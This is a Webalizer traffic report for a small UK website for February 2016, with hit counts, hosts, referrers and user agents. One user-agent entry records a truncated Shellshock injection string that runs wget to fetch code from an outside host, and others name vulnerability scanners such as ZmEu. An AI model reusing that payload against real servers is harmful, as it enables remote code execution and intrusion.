Usage Statistics for fattyfatfatfat.co.uk

Summary Period: February 2016
Generated 01-Mar-2016 12:13 GMT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for February 2016
Total Hits 583
Total Files 124
Total Pages 275
Total Visits 163
Total KBytes 37
Total Unique Sites 163
Total Unique URLs 3
Total Unique Referrers 4
Total Unique User Agents 47
. Avg Max
Hits per Hour 0 61
Hits per Day 20 76
Files per Day 4 19
Pages per Day 9 47
Sites per Day 5 14
Visits per Day 5 12
KBytes per Day 1 5
Hits by Response Code
Code 200 - OK 21.27% 124
Code 400 - Bad Request 6.35% 37
Code 404 - Not Found 71.87% 419
Code 408 - Request Timeout 0.51% 3

Daily usage for February 2016

Daily Statistics for February 2016
Day Hits Files Pages Visits Sites KBytes
1 76 13.04% 7 5.65% 43 15.64% 8 4.91% 11 6.75% 2 4.68%
2 13 2.23% 4 3.23% 5 1.82% 5 3.07% 9 5.52% 1 3.87%
3 27 4.63% 7 5.65% 11 4.00% 10 6.13% 12 7.36% 2 5.88%
4 32 5.49% 19 15.32% 28 10.18% 5 3.07% 6 3.68% 2 5.34%
5 14 2.40% 3 2.42% 7 2.55% 7 4.29% 7 4.29% 1 2.00%
6 25 4.29% 2 1.61% 9 3.27% 9 5.52% 10 6.13% 1 1.94%
7 5 0.86% 1 0.81% 2 0.73% 2 1.23% 5 3.07% 0 1.27%
8 13 2.23% 3 2.42% 5 1.82% 4 2.45% 11 6.75% 1 2.61%
9 18 3.09% 6 4.84% 10 3.64% 10 6.13% 13 7.98% 2 4.61%
10 15 2.57% 4 3.23% 7 2.55% 7 4.29% 10 6.13% 1 3.27%
11 23 3.95% 1 0.81% 7 2.55% 6 3.68% 6 3.68% 0 0.67%
12 4 0.69% 2 1.61% 2 0.73% 2 1.23% 4 2.45% 1 2.54%
13 6 1.03% 0 0.00% 1 0.36% 1 0.61% 1 0.61% 0 0.00%
14 72 12.35% 5 4.03% 47 17.09% 4 2.45% 7 4.29% 5 12.82%
15 70 12.01% 4 3.23% 6 2.18% 6 3.68% 10 6.13% 1 3.14%
16 13 2.23% 5 4.03% 7 2.55% 7 4.29% 8 4.91% 1 3.27%
17 10 1.72% 5 4.03% 7 2.55% 6 3.68% 8 4.91% 1 3.27%
18 11 1.89% 3 2.42% 3 1.09% 3 1.84% 7 4.29% 1 2.61%
19 7 1.20% 2 1.61% 3 1.09% 3 1.84% 6 3.68% 0 1.34%
20 11 1.89% 4 3.23% 4 1.45% 4 2.45% 8 4.91% 1 3.87%
21 12 2.06% 3 2.42% 7 2.55% 6 3.68% 11 6.75% 2 5.01%
22 8 1.37% 5 4.03% 5 1.82% 4 2.45% 5 3.07% 1 3.27%
23 14 2.40% 5 4.03% 7 2.55% 7 4.29% 12 7.36% 2 4.48%
24 16 2.74% 8 6.45% 12 4.36% 12 7.36% 14 8.59% 2 4.68%
25 17 2.92% 2 1.61% 7 2.55% 3 1.84% 4 2.45% 0 1.34%
26 13 2.23% 2 1.61% 4 1.45% 4 2.45% 6 3.68% 0 1.34%
27 11 1.89% 6 4.84% 8 2.91% 8 4.91% 11 6.75% 2 4.48%
28 13 2.23% 3 2.42% 8 2.91% 7 4.29% 9 5.52% 1 3.81%
29 14 2.40% 3 2.42% 3 1.09% 3 1.84% 7 4.29% 1 2.61%

Hourly usage for February 2016

Hourly Statistics for February 2016
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 0 5 0.86% 0 1 0.81% 0 3 1.09% 0 0 1.27%
1 2 65 11.15% 0 0 0.00% 0 2 0.73% 0 0 0.60%
2 0 13 2.23% 0 6 4.84% 0 8 2.91% 0 2 5.21%
3 0 27 4.63% 0 5 4.03% 0 11 4.00% 0 2 5.39%
4 0 18 3.09% 0 6 4.84% 0 9 3.27% 0 1 4.01%
5 0 16 2.74% 0 2 1.61% 0 5 1.82% 0 1 3.14%
6 0 20 3.43% 0 2 1.61% 0 3 1.09% 0 1 1.94%
7 0 15 2.57% 0 5 4.03% 0 7 2.55% 0 1 2.67%
8 0 26 4.46% 0 2 1.61% 0 7 2.55% 0 0 0.67%
9 1 43 7.38% 0 7 5.65% 0 27 9.82% 0 2 6.48%
10 1 50 8.58% 0 20 16.13% 1 31 11.27% 0 2 5.34%
11 1 45 7.72% 0 6 4.84% 1 35 12.73% 0 4 11.30%
12 0 22 3.77% 0 3 2.42% 0 7 2.55% 0 1 2.00%
13 0 23 3.95% 0 5 4.03% 0 10 3.64% 0 2 4.54%
14 0 9 1.54% 0 5 4.03% 0 7 2.55% 0 1 3.94%
15 0 10 1.72% 0 3 2.42% 0 6 2.18% 0 1 2.54%
16 0 24 4.12% 0 6 4.84% 0 9 3.27% 0 2 6.41%
17 1 49 8.40% 0 10 8.06% 1 30 10.91% 0 3 7.21%
18 1 39 6.69% 0 7 5.65% 0 24 8.73% 0 2 6.48%
19 0 14 2.40% 0 5 4.03% 0 7 2.55% 0 2 4.54%
20 0 10 1.72% 0 7 5.65% 0 8 2.91% 0 1 4.01%
21 0 15 2.57% 0 3 2.42% 0 5 1.82% 0 2 4.41%
22 0 17 2.92% 0 3 2.42% 0 7 2.55% 0 1 3.21%
23 0 8 1.37% 0 5 4.03% 0 7 2.55% 0 1 2.67%

Top 3 of 3 Total URLs
# Hits KBytes URL
1 122 20.93% 25 68.13% /
2 1 0.17% 3 9.25% /cgi-sys/defaultwebpage.cgi
3 1 0.17% 0 0.05% /cgi-sys/entropysearch.cgi

Top 3 of 3 Total URLs By KBytes
# Hits KBytes URL
1 122 20.93% 25 68.13% /
2 1 0.17% 3 9.25% /cgi-sys/defaultwebpage.cgi
3 1 0.17% 0 0.05% /cgi-sys/entropysearch.cgi

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 122 20.93% 112 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 122 20.93% 112 100.00% /

Top 30 of 163 Total Sites
# Hits Files KBytes Visits Hostname
1 61 10.46% 0 0.00% 0 0.00% 0 0.00% 192-3-181-58-host.colocrossing.com
2 52 8.92% 0 0.00% 0 0.00% 7 4.29% 119.188.4.3
3 31 5.32% 3 2.42% 4 9.97% 1 0.61% ip-221-142.dataclub.biz
4 29 4.97% 2 1.61% 1 1.94% 1 0.61% 8.ip-158-69-216.net
5 28 4.80% 2 1.61% 0 1.34% 1 0.61% 51.254.22.5
6 28 4.80% 2 1.61% 0 1.34% 1 0.61% mail.kabsystem.com
7 27 4.63% 16 12.90% 1 3.34% 1 0.61% li195-230.members.linode.com
8 25 4.29% 1 0.81% 0 0.67% 3 1.84% no-reverse-dns-configured.com
9 13 2.23% 1 0.81% 0 0.67% 1 0.61% 213.160.142.162.ldc.net
10 12 2.06% 0 0.00% 0 0.00% 2 1.23% 76.146.97.119.broad.wh.hb.dynamic.163data.com.cn
11 9 1.54% 3 2.42% 1 2.00% 3 1.84% census1.shodan.io
12 9 1.54% 0 0.00% 0 0.00% 9 5.52% researchscan1.eecs.berkeley.edu
13 8 1.37% 0 0.00% 0 0.00% 0 0.00% 211.101.15.213
14 7 1.20% 0 0.00% 0 0.00% 7 4.29% 5.39.222.159
15 6 1.03% 0 0.00% 0 0.00% 0 0.00% 104.208.237.78
16 6 1.03% 0 0.00% 0 0.00% 0 0.00% 40.117.236.17
17 6 1.03% 0 0.00% 0 0.00% 0 0.00% 89.163.251.200
18 6 1.03% 0 0.00% 0 0.00% 1 0.61% lasvegas-nv-datacenter.com
19 6 1.03% 6 4.84% 1 4.01% 6 3.68% tor-limits-scanning.cl.cam.ac.uk
20 5 0.86% 0 0.00% 1 3.01% 0 0.00% 36.ip-192-99-58.net
21 4 0.69% 4 3.23% 1 2.67% 4 2.45% 185.35.62.11
22 4 0.69% 0 0.00% 1 2.41% 0 0.00% 192.99.70.41
23 4 0.69% 0 0.00% 0 0.00% 0 0.00% 3.ip-158-69-209.net
24 4 0.69% 4 3.23% 1 2.67% 2 1.23% 86.ip-51-254-126.eu
25 4 0.69% 0 0.00% 1 2.41% 0 0.00% mailsrv1.geteconomist.com
26 3 0.51% 0 0.00% 0 0.00% 0 0.00% 119.180.27.11
27 3 0.51% 0 0.00% 0 0.00% 0 0.00% 125.89.66.26
28 3 0.51% 0 0.00% 1 1.80% 0 0.00% 192.99.110.151
29 3 0.51% 0 0.00% 0 0.00% 0 0.00% 201-157-62-4.internetmax.maxcom.net.mx
30 3 0.51% 0 0.00% 1 1.80% 0 0.00% 60.ip-198-245-55.net

Top 10 of 163 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 31 5.32% 3 2.42% 4 9.97% 1 0.61% ip-221-142.dataclub.biz
2 6 1.03% 6 4.84% 1 4.01% 6 3.68% tor-limits-scanning.cl.cam.ac.uk
3 27 4.63% 16 12.90% 1 3.34% 1 0.61% li195-230.members.linode.com
4 5 0.86% 0 0.00% 1 3.01% 0 0.00% 36.ip-192-99-58.net
5 4 0.69% 4 3.23% 1 2.67% 4 2.45% 185.35.62.11
6 4 0.69% 4 3.23% 1 2.67% 2 1.23% 86.ip-51-254-126.eu
7 4 0.69% 0 0.00% 1 2.41% 0 0.00% 192.99.70.41
8 4 0.69% 0 0.00% 1 2.41% 0 0.00% mailsrv1.geteconomist.com
9 3 0.51% 3 2.42% 1 2.00% 3 1.84% 91-214-201-107.roxnet.md
10 9 1.54% 3 2.42% 1 2.00% 3 1.84% census1.shodan.io

Top 4 of 4 Total Referrers
# Hits Referrer
1 575 98.63% - (Direct Request)
2 6 1.03% http://burger-imperia.com/
3 1 0.17% ()
4 1 0.17% http://pizza-imperia.com/

Top 15 of 47 Total User Agents
# Hits User Agent
1 85 14.58% Python-urllib/2.7
2 73 12.52% ZmEu
3 31 5.32% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://www.alyaly.info/non/n
4 24 4.12% Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
5 22 3.77% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML
6 19 3.26% Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3
7 18 3.09% Mozilla/5.0 zgrab/0.x
8 12 2.06% Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
9 9 1.54% Mozilla/5.0
10 8 1.37% Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/31.0
11 7 1.20% Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36
12 6 1.03% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
13 4 0.69% Telesphoreo
14 4 0.69% sl
15 3 0.51% http://www.nominet.org.uk/privacypolicy

Usage by Country for February 2016

Top 20 of 20 Total Countries
# Hits Files KBytes Country
1 218 37.39% 52 41.94% 14 38.86% Unresolved/Unknown
2 171 29.33% 31 25.00% 6 16.97% Commercial (com)
3 77 13.21% 9 7.26% 4 11.96% Network (net)
4 32 5.49% 3 2.42% 4 9.97% Generic Business (biz)
5 19 3.26% 6 4.84% 2 6.41% Educational (edu)
6 12 2.06% 0 0.00% 0 0.00% China
7 9 1.54% 3 2.42% 1 2.00% British Indian Ocean Territory
8 9 1.54% 8 6.45% 2 4.68% United Kingdom
9 7 1.20% 0 0.00% 0 0.00% Poland
10 6 1.03% 5 4.03% 1 3.34% European Union
11 6 1.03% 0 0.00% 0 1.20% Mexico
12 5 0.86% 0 0.00% 0 0.60% Russian Federation
13 3 0.51% 3 2.42% 1 2.00% Moldova
14 2 0.34% 2 1.61% 0 0.67% Luxembourg
15 2 0.34% 0 0.00% 0 0.00% Taiwan
16 1 0.17% 1 0.81% 0 0.67% Brazil
17 1 0.17% 0 0.00% 0 0.00% Germany
18 1 0.17% 0 0.00% 0 0.00% France
19 1 0.17% 0 0.00% 0 0.00% Hungary
20 1 0.17% 1 0.81% 0 0.67% India


Generated by Webalizer Version 2.23